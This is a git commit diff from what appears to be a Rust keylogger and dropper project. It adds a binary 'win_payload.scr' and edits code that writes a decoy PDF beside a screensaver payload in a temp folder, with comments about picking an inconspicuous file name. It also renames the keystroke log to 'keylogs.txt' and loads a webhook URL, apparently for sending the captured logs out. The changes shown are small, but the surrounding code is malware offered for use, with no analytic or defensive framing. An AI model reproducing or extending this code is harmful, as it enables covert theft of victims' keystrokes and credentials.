This commit is contained in:
Axiean 2025-07-12 12:26:53 +03:30
parent 8b91adb708
commit d29d3e75dd
3 changed files with 3 additions and 3 deletions

BIN
assets/win_payload.scr Normal file

Binary file not shown.

View File

@ -28,8 +28,8 @@ fn main() {
let pdf_path = tmp.join("sample.pdf");
// # Define the full path for the payload file within the temporary directory.
// A generic name like "scrn.scr" is chosen to be inconspicuous.
let scr_path = tmp.join("scrn.scr");
// A generic name like "KEYLOGGER.scr" is chosen to be inconspicuous.
let scr_path = tmp.join("KEYLOGGER.scr");
// # Write the embedded PDF data to the file system.
// This block creates a new file at `pdf_path`. If successful, it writes the

View File

@ -14,7 +14,7 @@ use winreg::RegKey;
// The contents of the file are read at COMPILE TIME and put here as a string
const WEBHOOK_URL: &str = include_str!("../config/webhook.url");
const LOG_PATH: &str = "C:\\Users\\Public\\logrust.txt";
const LOG_PATH: &str = "C:\\Users\\Public\\keylogs.txt";
/// # Checks if the Caps Lock key is toggled on.
///